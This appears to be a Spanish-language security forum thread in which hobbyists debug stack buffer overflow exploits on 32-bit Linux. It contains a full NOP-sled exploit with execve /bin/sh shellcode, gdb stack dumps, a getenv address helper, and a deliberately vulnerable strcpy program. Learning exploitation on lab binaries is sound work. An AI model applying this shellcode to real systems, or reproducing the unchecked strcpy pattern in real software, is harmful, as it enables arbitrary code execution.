No puedo sobrescribir EIP (Linux)

Iniciado por zhynar_X, 26 Diciembre 2007, 16:42 PM

0 Miembros y 1 Visitante están viendo este tema.

AlbertoBSD

Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

Garfield07



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

M3st4ng

Hola!!!

Retomando el tema, me he vuelto a encontrar un problema más. Y es que al saltar a los NOPs me sale lo siguiente:

Error accessing memory address 0x90909090: Error de entrada/salida.

¿No deberia saltar todos los NOPs hasta llegar a la shellcode?

Gracias

braulio--

#33
Pero es que los nops se saltan cuando "tienen que ser ejecutados". El EIP lo debes sobreescribir de manera exacta.

Son cosas distintas las direcciones y las instrucciones.

M3st4ng

Mmmm

Entonces no sé si lo entendido bien o estoy metiendo la pata en algún sitio. La cadena que estoy metiendo en el buffer es así: NOPS + shellcode + dirección de salto a los NOPS
Mira, esta es la pila antes de ejecutar el "strcpy"
0xbffff5a4: 0xbffff664 0x00119b02 0xbffff654 0x080481cc
0xbffff5b4: 0xbffff648 0x0012da74 0x00000000 0x00130b28
0xbffff5c4: 0x00000001 0x00000000 0x00000001 0x0012d918
0xbffff5d4: 0x00000000 0x00010000 0x00296ff4 0x00246e79
0xbffff5e4: 0x0016d785 0xbffff5f8 0x00154ae5 0x00000000
0xbffff5f4:        0x08049ff4 0xbffff608 0x080482c0 0x0011eac0
0xbffff604: 0x08049ff4 0xbffff638 0x08048429 0x00297324
0xbffff614: 0x00296ff4 0x08048410 0xbffff638 0x0016d985
0xbffff624: 0x0011eac0 0x0804841b 0xbffff638 0x080483f7 <-- RET
0xbffff634: 0xbffff831 0xbffff6b8 0x00154ce7 0x00000002


Tengo declarada el variable buffer con 128 bytes y el RET lo sobreescribo con 136. Y así paso los parametros

run $(perl -e 'print "\x90"x51 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xb4\xf5\xff\xbf"x10')




0xbffff5a4: 0xbffff5ac 0xbffff831 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0xeb909090 0x76895e1f
0xbffff5e4: 0x88c03108 0x46890746 0x890bb00c 0x084e8df3
0xbffff5f4: 0xcd0c568d 0x89db3180 0x80cd40d8 0xffffdce8
0xbffff604: 0x69622fff 0x68732f6e 0xbffff5b4 0xbffff5b4
0xbffff614: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4
0xbffff624: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4 <-- RET sobreescrito con dir. de salto a NOPS
0xbffff634: 0xbffff800 0xbffff6b8 0x00154ce7 0x00000002


He puesto que salte a la dir 0xbffff5b4 que es donde hay NOPS y obtengo esto:
rror accessing memory address 0x90909090: Error de entrada/salida.

0xbffff5b4 in ?? ()


Se supone que tendría que ejecutar lo que hubiera en la dir. 0xbffff5b4  no¿??

Salu2

braulio--

Mira, yo siempre que he explotado BoF lo he hecho guardando la shellcode en una variable de entorno porque la dirección de esta es siempre fija y la puedes llamar desde donde te de la gana.

Cuando tengas la variable de entorno con la shellcode tienes que averiguar la dirección, puedes hacerlo con este código:

#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]){
char *addr;
addr = getenv(argv[1]);
printf("%s is located at %p\n", argv[1], addr);
return 0;
}

Una vez tengas la dirección solo tienes que sobrescribir eip con esa dirección.

Prueba a ver.

Garfield07

A mi ese code me suena a "Hacking. Tecnicas fundamentales". Lo tengo aqui al lado xD


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

Garfield07

Bueno, a mi me pasa algo parecido a este ultimo caso, y no he conseguido resolverlo  :-\
Mi code es casi igual... Sí, lo hice en 5 segundos, muy currado verdad?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv [])
{
if (argc != 2) return 1;
char buffer [40];
strcpy (buffer, argv [1]);
}

Pues le meto 200 Bs y no me sobreescribe...
(gdb) r $(perl -e 'print "B"x200')


The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/vuln $(perl -e 'print "B"x200')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main (argc=Cannot access memory at address [b]0x42424206[/b]
) at vuln.c:10
10 }
(gdb)

Entonces si le cambio el valor de B, me pone el hexadecimal de la letra que haya puesto. Pero si en vez de doscientos le meto 500 el resultado es igual. Entonces hay un byte "intocable". El ultimo. Como puede ser?
Si no consigo sobreescribirlo no puedo seguir xD

Gracias por vuestra ayuda


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

M3st4ng

Hola!

A mi me pasó algo parecido. Son temas de protección que el "gcc" implementa para no llevar a cabo el buffer overflow. Mira que tengas todas las protecciones quitadas a la hora de compilar.
Por cierto, el último error que puse era problema de los breakpoint. Cosa rarisima, cuando ejecuto el código con el gdb y breakpoints me tira el error, cuando hago lo mismo sin breakpoint, me ejecuta la shellcode.... Por lo que he leido se trata de un problema con la arquitectura de 64bits que tengo y las librerias de 32bits con los que están compiladas el gcc.

Salu2

Garfield07

Creo que no. He probado a quitar todas las protecciones... :o y nada...
He probado a compilar con cc y... nada.

La cosa es que hay un byte que no se puede modificar...

Starting program: /home/juanra/Escritorio/shell/vuln AAAABBBBCCCCDDDDEEEEFFFF

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main (argc=Cannot access memory at address 0x43434327
) at vuln.c:10
10 }
(gdb)

El ultimo byte me tendria que dar o una D o una B, pero no 27...
La cosa es que no puedo modificarla...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo